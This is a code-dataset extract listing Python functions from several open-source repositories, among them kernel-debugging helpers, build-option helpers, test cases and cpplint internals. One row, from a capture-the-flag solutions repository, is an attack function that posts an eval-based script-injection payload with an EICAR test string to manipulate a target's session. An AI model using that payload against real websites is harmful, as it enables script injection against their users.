function
stringlengths
11
56k
repo_name
stringlengths
5
60
features
list
def pfn_to_page(cls, pfn: int) -> gdb.Value: if cls.sparsemem: section_nr = pfn >> (cls.SECTION_SIZE_BITS - cls.PAGE_SHIFT) root_idx = section_nr // cls.SECTIONS_PER_ROOT offset = section_nr & (cls.SECTIONS_PER_ROOT - 1) section = symvals.mem_section[root_idx][off...
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def setup_pageflags(cls, gdbtype: gdb.Type) -> None: for field in gdbtype.fields(): cls.pageflags[field.name] = field.enumval cls.setup_pageflags_done = True if cls.setup_page_type_done and not cls.setup_pageflags_finish_done: cls.setup_pageflags_finish() cls.PG...
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def setup_vmemmap_base(cls, symbol: gdb.Symbol) -> None: cls.vmemmap_base = int(symbol.value()) # setup_page_type() was first and used the hardcoded initial value, # we have to update cls.vmemmap = gdb.Value(cls.vmemmap_base).cast(types.page_type.pointer())
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def setup_directmap_base(cls, symbol: gdb.Symbol) -> None: cls.directmap_base = int(symbol.value())
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def setup_zone_type(cls, gdbtype: gdb.Type) -> None: max_nr_zones = gdbtype['__MAX_NR_ZONES'].enumval cls.ZONES_WIDTH = int(ceil(log(max_nr_zones, 2)))
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def setup_nodes_width(cls, symbol: Union[gdb.Symbol, gdb.MinSymbol]) -> None: """ Detect NODES_WITH from the in-kernel config table Args: symbol: The ``kernel_config_data`` symbol or minimal symbol. It is not used directly. It is used to determine whether ...
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def setup_pageflags_finish(cls) -> None: cls.setup_pageflags_finish_done = True cls._is_tail = cls.__is_tail_compound_head_bit cls._compound_head = cls.__compound_head_uses_low_bit if 'PG_tail' in cls.pageflags.keys(): cls.PG_tail = 1 << cls.pageflags['PG_tail'] ...
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def from_obj(cls, page: gdb.Value) -> 'Page': pfn = (int(page.address) - Page.vmemmap_base) // types.page_type.sizeof return Page(page, pfn)
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def from_page_addr(cls, addr: int) -> 'Page': page_ptr = gdb.Value(addr).cast(types.page_type.pointer()) return cls.from_obj(page_ptr.dereference())
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def __is_tail_flagcombo(self) -> bool: return bool((self.flags & self.PG_tail) == self.PG_tail)
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def __is_tail_compound_head_bit(self) -> bool: return bool(self.gdb_obj['compound_head'] & 1)
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def is_slab(self) -> bool: return bool(self.flags & self.PG_slab)
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def is_anon(self) -> bool: mapping = int(self.gdb_obj["mapping"]) return (mapping & PAGE_MAPPING_ANON) != 0
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def get_slab_page(self) -> gdb.Value: if Page.slab_page_name == "lru": return self.gdb_obj["lru"]["prev"] return self.gdb_obj[Page.slab_page_name]
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def get_zid(self) -> int: shift = self.BITS_PER_LONG - self.NODES_WIDTH - self.ZONES_WIDTH zid = self.flags >> shift & ((1 << self.ZONES_WIDTH) - 1) return zid
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def __compound_head_uses_low_bit(self) -> int: return int(self.gdb_obj['compound_head']) - 1
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def compound_head(self) -> 'Page': if not self.is_tail(): return self return self.__class__.from_page_addr(self.__compound_head())
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def page_addr(struct_page_addr: int) -> int: pfn = (struct_page_addr - Page.vmemmap_base) // types.page_type.sizeof return Page.directmap_base + (pfn * Page.PAGE_SIZE)
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def page_from_addr(addr: int) -> 'Page': pfn = (addr - Page.directmap_base) // Page.PAGE_SIZE return pfn_to_page(pfn)
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def page_from_gdb_obj(gdb_obj: gdb.Value) -> 'Page': pfn = (int(gdb_obj.address) - Page.vmemmap_base) // types.page_type.sizeof return Page(gdb_obj, pfn)
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def for_each_page() -> Iterable[Page]: # TODO works only on x86? max_pfn = int(symvals.max_pfn) for pfn in range(max_pfn): try: yield pfn_to_page(pfn) except gdb.error: # TODO: distinguish pfn_valid() and report failures for those? pass
jeffmahoney/crash-python
[ 61, 23, 61, 13, 1455127548 ]
def allCompilerOptions (platformOptions): result = platformOptions result.append ("-Wall") result.append ("-Werror") result.append ("-Wreturn-type") result.append ("-Wformat") result.append ("-Wsign-compare") result.append ("-Wpointer-arith")
TrampolineRTOS/trampoline
[ 480, 230, 480, 24, 1441963168 ]
def compilerReleaseOptions (platformOptions): result = platformOptions result.append ("-DDO_NOT_GENERATE_CHECKINGS") result.append ("-Wunused-variable") return result
TrampolineRTOS/trampoline
[ 480, 230, 480, 24, 1441963168 ]
def compilerDebugOptions (platformOptions): result = platformOptions result.append ("-g") return result
TrampolineRTOS/trampoline
[ 480, 230, 480, 24, 1441963168 ]
def C_CompilerOptions (platformOptions): result = platformOptions result.append ("-std=c99") return result
TrampolineRTOS/trampoline
[ 480, 230, 480, 24, 1441963168 ]
def Cpp_CompilerOptions (platformOptions): result = platformOptions result.append ("-std=c++14") result.append ("-Woverloaded-virtual") return result
TrampolineRTOS/trampoline
[ 480, 230, 480, 24, 1441963168 ]
def ObjectiveC_CompilerOptions (platformOptions): result = platformOptions return result
TrampolineRTOS/trampoline
[ 480, 230, 480, 24, 1441963168 ]
def ObjectiveCpp_CompilerOptions (platformOptions): result = platformOptions return result
TrampolineRTOS/trampoline
[ 480, 230, 480, 24, 1441963168 ]
def trigger(c, idx): import string sess = requests.Session() # init session sess.post(URL + '/?action=login', data={'realname': 'new_session'}) # manipulate session p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${...
Qwaz/solved-hacking-problem
[ 78, 22, 78, 1, 1452176298 ]
def log(x): return math.log(x,2)
sysbio-vo/bnfinder
[ 47, 7, 47, 1, 1422015925 ]
def __init__(self,prior=None,*args,**kwds): score.__init__(self,*args,**kwds) self.prior=prior
sysbio-vo/bnfinder
[ 47, 7, 47, 1, 1422015925 ]
def HP(self,v,par): if self.prior==None: return max(2,v.n_disc) else: hp=float(self.prior) for p in par: hp/=max(2,p.n_disc) return hp
sysbio-vo/bnfinder
[ 47, 7, 47, 1, 1422015925 ]
def H(self,v,par): if self.prior==None: return 1.0 else: return self.HP(v,par)/max(2,v.n_disc)
sysbio-vo/bnfinder
[ 47, 7, 47, 1, 1422015925 ]
def graph_score(self,number_of_potential_parents,gene_vertex,weights_of_parents,number_of_data_points): return sum(map(log,weights_of_parents))*log(number_of_data_points+1)*min(1,gene_vertex.n_disc+0.1)
sysbio-vo/bnfinder
[ 47, 7, 47, 1, 1422015925 ]
def lower_bound_for_data_score(self,selected_data_empty): if self.prior!=None: return 0.0 HP=self.HP(selected_data_empty.vertex,[]) H=self.H(selected_data_empty.vertex,[]) stats_all,stats_par = selected_data_empty.stats() if selected_data_empty.vertex.n_disc: ...
sysbio-vo/bnfinder
[ 47, 7, 47, 1, 1422015925 ]
def test_num_swaps_to_sort(array, expected_num_swaps): assert num_swaps_to_sort(array) == expected_num_swaps
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_init_input_density_matrix(self): # Setup Job = InitJob("test_data/JobDef_input_density_matrix.json") input_rho_file = Job.Def['input_rho'] with open(input_rho_file, 'r') as file_handle: input_rho = np.matrix(json.load(file_handle)) # Action electroni...
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_quantum_number_S_is_None(self): # Setup Job = InitJob("test_data/JobDef_scase.json") # Fake def fake_magnetic_correlation(*args): return -1 Job.Electron.magnetic_correlation = fake_magnetic_correlation # Action S = Job.Electron.quantum_numbe...
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_quantum_number_S(self, name, rho, expected_S): # Setup Job = InitJob("test_data/JobDef_scase.json") # Spin 0 density matrix Job.Electron.rho = np.matrix(rho) # Action S = Job.Electron.quantum_number_S(Job) # Result assert S == expected_S
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def fake_L_z_p_orb(*args): return -1
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_quantum_number_L_z_d_orb_is_None(self): # Setup Job = InitJob("test_data/JobDef_pcase.json") # Fake def fake_L_z_d_orb(*args): return -1 Job.Electron.L_z_d_orb = fake_L_z_d_orb # Action L_z = Job.Electron.quantum_number_L_z_d_orb(Job) ...
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_quantum_number_L_z(self, name, rho, expected_L_z): # Setup Job = InitJob("test_data/JobDef_pcase.json") # Fake Job.NAtom = 1 Job.NOrb = [len(rho)/2] Job.Electron.NElectrons = sum(rho[ii][ii] for ii in range(len(rho))) Job.Electron.rho = np.matrix(rho, dt...
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_quantum_number_L_z_dimers(self, job_file, rho_file, expected_L_z): # Setup Job = InitJob(job_file) # Fake rho = load_json_file(rho_file) Job.Electron.rho = np.matrix(rho, dtype='complex') # Action L_z = Job.Electron.quantum_number_L_z(Job) # Re...
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_quantum_number_L_z_1_electron(self): # Setup Job = InitJob("test_data/JobDef_scase.json") Job.Electron.NElectrons = 1 # Action L_z = Job.Electron.quantum_number_L_z(Job) # Result assert L_z == 0
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_all_atoms_same_num_orbitals(self, norb, expected_result): # Setup Job = InitJob("test_data/JobDef_scase.json") # Fake Job.NOrb = norb # Action result = Job.Electron.all_atoms_same_num_orbitals(Job) # Result assert result is expected_result
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_perform_inversion(self, job_file, old_eigenvectors, expected_eigenvectors): # Setup Job = InitJob(job_file) # Action new_eigenvectors = Job.Electron.perform_inversion(Job, old_eigenvectors) # Result assert all(np.array_equal(new_e...
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_symmetry_operation_result(self, name, new_eigenvectors, old_eigenvectors, expected_result): # Setup Job = InitJob("test_data/JobDef_scase.json") # Action result = Job.Electron.symmetry_operation_result(Job, new_eigenvectors, ...
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_gerade(self, job_file, expected_gerade): # Setup Job = InitJob(job_file) Job = execute_job(Job) # Action gerade = Job.Electron.gerade(Job) # Result assert gerade == expected_gerade
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_get_reflected_value(self, job_file, orbital, initial_value, expected_reflected_value): # Setup Job = InitJob(job_file) atom = 0 # Action reflected_value = Job.Electron.get_reflected_value(Job, initial_value, ...
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def test_perform_reflection(self, job_file, old_eigenvectors, expected_eigenvectors): # Setup Job = InitJob(job_file) # Action new_eigenvectors = Job.Electron.perform_reflection(Job, old_eigenvectors) # Result assert all(np.array_equal(ne...
mec07/PyLATO
[ 3, 2, 3, 7, 1433328488 ]
def __init__(self, repo): storetype = repo.ui.config("infinitepush", "storetype", "") if storetype == "disk": self.store = filebundlestore(repo) elif storetype == "external": self.store = externalbundlestore(repo) else: raise error.Abort( ...
facebookexperimental/eden
[ 4737, 192, 4737, 106, 1462467227 ]
def __init__(self, repo): self.storepath = repo.ui.configpath("scratchbranch", "storepath") if not self.storepath: self.storepath = repo.localvfs.join("scratchbranches", "filebundlestore") if not os.path.exists(self.storepath): os.makedirs(self.storepath)
facebookexperimental/eden
[ 4737, 192, 4737, 106, 1462467227 ]
def _filepath(self, filename): return os.path.join(self._dirpath(filename), filename)
facebookexperimental/eden
[ 4737, 192, 4737, 106, 1462467227 ]
def read(self, key): try: f = open(self._filepath(key), "rb") except IOError: return None return f.read()
facebookexperimental/eden
[ 4737, 192, 4737, 106, 1462467227 ]
def __init__(self, repo): """ `put_binary` - path to binary file which uploads bundle to external storage and prints key to stdout `put_args` - format string with additional args to `put_binary` {filename} replacement field can be used. `get_binary` - pat...
facebookexperimental/eden
[ 4737, 192, 4737, 106, 1462467227 ]
def write(self, data): # Won't work on windows because you can't open file second time without # closing it with NamedTemporaryFile() as temp: temp.write(data) temp.flush() temp.seek(0) formatted_args = [arg.format(filename=temp.name) for arg in se...
facebookexperimental/eden
[ 4737, 192, 4737, 106, 1462467227 ]
def ParseNolintSuppressions(filename, raw_line, linenum, error): """Updates the global list of error-suppressions. Parses any NOLINT comments on the current line, updating the global error_suppressions store. Reports an error if the NOLINT comment was malformed. Args: filename: str, the name of the inp...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def IsErrorSuppressedByNolint(category, linenum): """Returns true if the specified error category is suppressed on this line. Consults the global error_suppressions map populated by ParseNolintSuppressions/ResetNolintSuppressions. Args: category: str, the category of the error. linenum: int, the curre...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def ReplaceAll(pattern, rep, s): """Replaces instances of pattern in a string with a replacement. The compiled regex is kept in a cache shared by Match and Search. Args: pattern: regex pattern rep: replacement text s: search string Returns: string with replacements made (or original string if...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def __init__(self): self.include_list = [[]] self.ResetSection('')
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def ResetSection(self, directive): """Reset section checking for preprocessor directive. Args: directive: preprocessor directive (e.g. "if", "else"). """ # The name of the current section. self._section = self._INITIAL_SECTION # The path of last found header. self._last_header = '' ...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CanonicalizeAlphabeticalOrder(self, header_path): """Returns a path canonicalized for alphabetical comparison. - replaces "-" with "_" so they both cmp the same. - removes '-inl' since we don't require them to be after the main header. - lowercase everything, just in case. Args: header_p...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CheckNextIncludeOrder(self, header_type): """Returns a non-empty error message if the next header is out of order. This function also updates the internal state to be ready to check the next include. Args: header_type: One of the _XXX_HEADER constants defined above. Returns: The e...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def __init__(self): self.verbose_level = 1 # global setting. self.error_count = 0 # global count of reported errors # filters to apply when emitting error messages self.filters = _DEFAULT_FILTERS[:] # backup of filter list. Used to restore the state after each file. self._filters_backup = se...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def SetVerboseLevel(self, level): """Sets the module's verbosity, and returns the previous setting.""" last_verbose_level = self.verbose_level self.verbose_level = level return last_verbose_level
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def SetFilters(self, filters): """Sets the error-message filters. These filters are applied when deciding whether to emit a given error message. Args: filters: A string of comma-separated filters (eg "+whitespace/indent"). Each filter should start with + or -; else we die. Ra...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def BackupFilters(self): """ Saves the current filter list to backup storage.""" self._filters_backup = self.filters[:]
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def ResetErrorCounts(self): """Sets the module's error statistic back to zero.""" self.error_count = 0 self.errors_by_category = {}
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def PrintErrorCounts(self): """Print a summary of errors by category, and the total.""" for category, count in self.errors_by_category.iteritems(): sys.stderr.write('Category \'%s\' errors found: %d\n' % (category, count)) sys.stderr.write('Total errors found: %d\n' % self.error...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def _OutputFormat(): """Gets the module's output format.""" return _cpplint_state.output_format
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def _VerboseLevel(): """Returns the module's verbosity setting.""" return _cpplint_state.verbose_level
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def _SetCountingStyle(level): """Sets the module's counting options.""" _cpplint_state.SetCountingStyle(level)
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def _SetFilters(filters): """Sets the module's error-message filters. These filters are applied when deciding whether to emit a given error message. Args: filters: A string of comma-separated filters (eg "whitespace/indent"). Each filter should start with + or -; else we die. """ _cpplint...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def _BackupFilters(): """ Saves the current filter list to backup storage.""" _cpplint_state.BackupFilters()
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def __init__(self): self.in_a_function = False self.lines_in_function = 0 self.current_function = ''
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def Count(self): """Count line in current function body.""" if self.in_a_function: self.lines_in_function += 1
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def End(self): """Stop analyzing function body.""" self.in_a_function = False
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def __init__(self, filename): self._filename = filename
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def RepositoryName(self): """FullName after removing the local path to the repository. If we have a real absolute path name here we can try to do something smart: detecting the root of the checkout and truncating /path/to/checkout from the name so that we get header guards that don't include things lik...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def BaseName(self): """File base name - text after the final slash, before the final period.""" return self.Split()[1]
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def NoExtension(self): """File has no source file extension.""" return '/'.join(self.Split()[0:2])
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def _ShouldPrintError(category, confidence, linenum): """If confidence >= verbose, category passes filter and is not suppressed.""" # There are three ways we might decide not to print an error message: # a "NOLINT(category)" comment appears in the source, # the verbosity level isn't high enough, or the filters...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def IsCppString(line): """Does line terminate so, that the next symbol is in string constant. This function does not consider single-line nor multi-line comments. Args: line: is a partial line of code starting from the 0..n. Returns: True, if next character appended to 'line' is inside a string c...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def FindNextMultiLineCommentStart(lines, lineix): """Find the beginning marker for a multiline comment.""" while lineix < len(lines): if lines[lineix].strip().startswith('/*'): # Only return this marker if the comment goes beyond this line if lines[lineix].strip().find('*/', 2) < 0: return l...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def RemoveMultiLineCommentsFromRange(lines, begin, end): """Clears a range of lines for multi-line comments.""" # Having // dummy comments makes the lines non-empty, so we will not get # unnecessary blank line warnings later in the code. for i in range(begin, end): lines[i] = '/**/'
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CleanseComments(line): """Removes //-comments and single-line C-style /* */ comments. Args: line: A line of C++ source. Returns: The line with single-line comments removed. """ commentpos = line.find('//') if commentpos != -1 and not IsCppString(line[:commentpos]): line = line[:commentpos]...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def __init__(self, lines): self.elided = [] self.lines = [] self.raw_lines = lines self.num_lines = len(lines) self.lines_without_raw_strings = CleanseRawStrings(lines) for linenum in range(len(self.lines_without_raw_strings)): self.lines.append(CleanseComments( self.lines_withou...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def _CollapseStrings(elided): """Collapses strings and chars on a line to simple "" or '' blocks. We nix strings first so we're not fooled by text like '"http://"' Args: elided: The line being processed. Returns: The line with collapsed strings. """ if _RE_PATTERN_INCLUDE.match(el...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CloseExpression(clean_lines, linenum, pos): """If input points to ( or { or [ or <, finds the position that closes it. If lines[linenum][pos] points to a '(' or '{' or '[' or '<', finds the linenum/pos that correspond to the closing of the expression. TODO(unknown): cpplint spends a fair bit of time match...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def ReverseCloseExpression(clean_lines, linenum, pos): """If input points to ) or } or ] or >, finds the position that opens it. If lines[linenum][pos] points to a ')' or '}' or ']' or '>', finds the linenum/pos that correspond to the opening of the expression. Args: clean_lines: A CleansedLines instance ...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def GetIndentLevel(line): """Return the number of leading spaces in line. Args: line: A string to check. Returns: An integer count of leading spaces, possibly zero. """ indent = Match(r'^( *)\S', line) if indent: return len(indent.group(1)) else: return 0
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CheckForHeaderGuard(filename, clean_lines, error): """Checks that the file contains a header guard. Logs an error if no #ifndef header guard is present. For other headers, checks that the full pathname is used. Args: filename: The name of the C++ header file. clean_lines: A CleansedLines instance...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CheckForBadCharacters(filename, lines, error): """Logs an error for each line containing bad characters. Two kinds of bad characters: 1. Unicode replacement characters: These indicate that either the file contained invalid UTF-8 (likely) or Unicode replacement characters (which it shouldn't). Note that...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CheckForMultilineCommentsAndStrings(filename, clean_lines, linenum, error): """Logs an error if we see /* ... */ or "..." that extend past one line. /* ... */ comments are legit inside macros, for one line. Otherwise, we prefer // comments, so it's ok to warn about the other. Likewise, it's ok for strings...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CheckPosixThreading(filename, clean_lines, linenum, error): """Checks for calls to thread-unsafe functions. Much code has been originally written without consideration of multi-threading. Also, engineers are relying on their old experience; they have learned posix before threading extensions were added. Th...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CheckInvalidIncrement(filename, clean_lines, linenum, error): """Checks for invalid increment *count++. For example following function: void increment_counter(int* count) { *count++; } is invalid, because it effectively does count++, moving pointer, and should be replaced with ++*count, (*count)++ ...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def IsForwardClassDeclaration(clean_lines, linenum): return Match(r'^\s*(\btemplate\b)*.*class\s+\w+;\s*$', clean_lines[linenum])
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def __init__(self, seen_open_brace): self.seen_open_brace = seen_open_brace self.open_parentheses = 0 self.inline_asm = _NO_ASM self.check_namespace_indentation = False
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def CheckEnd(self, filename, clean_lines, linenum, error): """Run checks that applies to text after the closing brace. This is mostly used for checking end of namespace comments. Args: filename: The name of the current file. clean_lines: A CleansedLines instance containing the file. line...
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]
def __init__(self): _BlockInfo.__init__(self, True)
24OI/CodeStack
[ 15, 6, 15, 4, 1445156661 ]